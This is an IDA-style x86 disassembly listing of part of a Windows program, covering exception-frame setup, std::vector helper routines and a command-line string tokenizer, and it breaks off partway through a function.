loc_40A4D0: ; CODE XREF: ___:0040194Cj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_402112
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A500 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A500
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A541
mov esi, [esp+44h+arg_0]
push offset byte_448F30
mov ecx, esi
call sub_401870
jmp loc_40A674
; ---------------------------------------------------------------------------
loc_40A541: ; CODE XREF: sub_40A500+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_40169A
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401870
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014DD
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A625
push ebx
loc_40A581: ; CODE XREF: sub_40A500+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A590
loc_40A587: ; CODE XREF: sub_40A500+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A587
loc_40A590: ; CODE XREF: sub_40A500+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A59F
inc eax
mov [esp+48h+var_3C], eax
loc_40A59F: ; CODE XREF: sub_40A500+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401997
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A5EF
test cl, cl
jz short loc_40A5D7
loc_40A5BB: ; CODE XREF: sub_40A500+D5j
cmp cl, 22h
jnz short loc_40A5CC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A5D7
test cl, cl
jz short loc_40A5D7
loc_40A5CC: ; CODE XREF: sub_40A500+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A5BB
loc_40A5D7: ; CODE XREF: sub_40A500+B9j
; sub_40A500+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A61A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A61A
add eax, 2
jmp short loc_40A616
; ---------------------------------------------------------------------------
loc_40A5EF: ; CODE XREF: sub_40A500+B5j
test cl, cl
jz short loc_40A604
mov dl, [edi]
loc_40A5F5: ; CODE XREF: sub_40A500+102j
cmp cl, dl
jz short loc_40A604
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A5F5
loc_40A604: ; CODE XREF: sub_40A500+F1j
; sub_40A500+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A61A
cmp cl, [edi]
jnz short loc_40A61A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A616: ; CODE XREF: sub_40A500+EDj
mov [esp+48h+var_3C], eax
loc_40A61A: ; CODE XREF: sub_40A500+DAj
; sub_40A500+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A581
pop ebx
loc_40A625: ; CODE XREF: sub_40A500+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A63D
push offset byte_448F30
jmp short loc_40A64A
; ---------------------------------------------------------------------------
loc_40A63D: ; CODE XREF: sub_40A500+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F82
mov eax, [eax]
push eax
loc_40A64A: ; CODE XREF: sub_40A500+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401870
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_401596
; ---------------------------------------------------------------------------
loc_40A674: ; CODE XREF: sub_40A500+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A500 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A700 proc near ; CODE XREF: sub_4016B8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A700 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A740 proc near ; CODE XREF: sub_40202Cj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_40A740 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A770 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015E1
retn 4
sub_40A770 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A790 proc near ; CODE XREF: sub_401479j
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A790 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A7B0: ; CODE XREF: ___:004014A6j
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7D0 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A7D0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7F0 proc near ; CODE XREF: sub_4017EEj
mov eax, [ecx+9]
retn
sub_40A7F0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A810 proc near ; CODE XREF: sub_4014DDj
mov eax, [ecx+9]
retn
sub_40A810 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A830 proc near ; CODE XREF: sub_40169Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A830 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A860 proc near ; CODE XREF: sub_401596j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A860 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
byte_40A893 db 0Dh dup(90h) ; DATA XREF: ___:00446534o
; ___:00446578o ...
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8B0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A8BA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A8BA: ; CODE XREF: sub_40A8B0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A8B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8E0 proc near ; CODE XREF: sub_401F82j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A8F8
mov ecx, esi
call sub_401F05
loc_40A8F8: ; CODE XREF: sub_40A8E0+Fj
mov ecx, esi
call sub_401D2F
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A8E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A920 proc near ; CODE XREF: sub_401997j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401659
push eax
mov ecx, esi
call sub_4016F9
pop esi
retn 4
sub_40A920 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A950 proc near ; CODE XREF: sub_401D2Fj
mov eax, [ecx+4]
retn
sub_40A950 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A970 proc near ; CODE XREF: sub_401659j
mov eax, [ecx+8]
retn
sub_40A970 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A990 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D2F
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013D9
mov ecx, edi
call sub_401D2F
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A990 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9E0 proc near ; CODE XREF: sub_4019B5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40AA00
loc_40A9F1: ; CODE XREF: sub_40A9E0+1Ej
push esi
mov ecx, edi
call sub_4018C0
add esi, 4
cmp esi, ebx
jnz short loc_40A9F1
loc_40AA00: ; CODE XREF: sub_40A9E0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A9E0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AA20: ; CODE XREF: sub_401F05j
push 0FFFFFFFFh
push offset loc_439DB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
nop
call near ptr 76081F67h
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
call near ptr 760A0430h
nop
lea edx, [esp+14h]
push offset dword_440088
push edx
call sub_437B22
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AAA0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40AAA0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AAC0 proc near ; CODE XREF: sub_4013D9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AB8B
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AAF3
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AAF5
; ---------------------------------------------------------------------------
loc_40AAF3: ; CODE XREF: sub_40AAC0+26j
mov ebp, edi
loc_40AAF5: ; CODE XREF: sub_40AAC0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DE8
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402194
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB8B: ; CODE XREF: sub_40AAC0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40ABE9
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402194
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ABE9: ; CODE XREF: sub_40AAC0+D8j
test edi, edi
jbe short loc_40AC23
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020CC
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AC23: ; CODE XREF: sub_40AAC0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40AAC0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AC90 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40AC90 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACB0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40ACE2
push edi
mov edi, [esp+10h+arg_8]
loc_40ACC6: ; CODE XREF: sub_40ACB0+27j
push esi
push edi
mov ecx, ebx
call sub_40213F
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ACC6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ACE2: ; CODE XREF: sub_40ACB0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ACB0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD00 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AD27
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AD16: ; CODE XREF: sub_40AD00+23j
push ebx
push esi
mov ecx, ebp
call sub_40213F
add esi, 4
dec edi
jnz short loc_40AD16
pop esi
pop ebx
loc_40AD27: ; CODE XREF: sub_40AD00+Aj
pop edi
pop ebp
retn 0Ch
sub_40AD00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD40 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014D8
sub_40AD40 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD70 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401E01
add esp, 8
retn 8
sub_40AD70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADA0 proc near ; CODE XREF: sub_401E8Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ADBD
mov edx, [esp+arg_8]
push esi
loc_40ADB1: ; CODE XREF: sub_40ADA0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ADB1
pop esi
locret_40ADBD: ; CODE XREF: sub_40ADA0+Aj
retn
sub_40ADA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADD0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40ADF2
mov eax, [esp+arg_8]
push esi
loc_40ADE1: ; CODE XREF: sub_40ADD0+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40ADE1
pop esi
retn
; ---------------------------------------------------------------------------
loc_40ADF2: ; CODE XREF: sub_40ADD0+Aj
mov eax, [esp+arg_8]
retn
sub_40ADD0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AE30 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AE3A
xor eax, eax
loc_40AE3A: ; CODE XREF: sub_40AE30+6j
shl eax, 2
push eax
call sub_437AEA
sub_40AE30 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE60 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40AE7B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40AE7B: ; CODE XREF: sub_40AE60+11j
retn
sub_40AE60 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE90 proc near ; CODE XREF: sub_401E88j
mov eax, ecx
mov dword ptr [eax], offset off_43F014
retn
sub_40AE90 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AEB0: ; CODE XREF: ___:00401721j
; ___:loc_402045j
push esi
mov esi, ecx
call sub_40204F
test byte ptr [esp+8], 1
jz short loc_40AEC8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40AEC8: ; CODE XREF: ___:0040AEBDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEE0 proc near ; CODE XREF: sub_40204Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AEE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43F014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_40174E
loc_40AF11: ; DATA XREF: sub_40AF22o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AEE0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF22 proc near ; DATA XREF: ___:004401C4o
mov eax, offset loc_40AF11
retn
sub_40AF22 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF50 proc near ; CODE XREF: sub_4014C4j
call sub_401712
jmp sub_4017BC
sub_40AF50 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF70 proc near ; CODE XREF: sub_401B2Cj
call sub_401627
jmp sub_4017CB
sub_40AF70 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF90 proc near ; CODE XREF: sub_4013DEj
push esi
mov esi, ecx
push esi
push offset sub_401429
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AFB2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AFB2: ; CODE XREF: sub_40AF90+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AF90 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AFD0: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40AFF7
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_401767
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40AFF7: ; CODE XREF: ___:0040AFD9j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B010 proc near ; CODE XREF: sub_40174Ej
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B02C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401762
add esp, 8
mov byte ptr [esi+10h], 0
loc_40B02C: ; CODE XREF: sub_40B010+8j
pop esi
retn
sub_40B010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B040: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B060 proc near ; CODE XREF: sub_401429j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40B060
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40B08E: ; DATA XREF: sub_40B0A1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B060 endp
; =============== S U B R O U T I N E =======================================
sub_40B0A1 proc near ; DATA XREF: ___:00440224o
mov eax, offset loc_40B08E
retn
sub_40B0A1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B0D0 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B112
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_4021B2
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B112: ; CODE XREF: sub_40B0D0+Bj
pop esi
add esp, 8
retn
sub_40B0D0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B140 proc near ; CODE XREF: sub_401DE3j
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B162
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B162: ; CODE XREF: sub_40B140+6j
pop ecx
retn
sub_40B140 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B180 proc near ; CODE XREF: sub_401A00j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B180
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401753
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401C08
sub_40B180 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43F020
call sub_401C03
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B240 proc near ; CODE XREF: sub_401AFAj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B240
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43F020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401C03
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_40155F
sub_40B240 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B2E0 proc near ; CODE XREF: sub_4017F8j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B2E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
mov esi, ecx
lea ecx, [esi+8Eh]
call sub_401C03
push 0
push 14h
push 13h
push 9
push 0Ch
push 4Eh
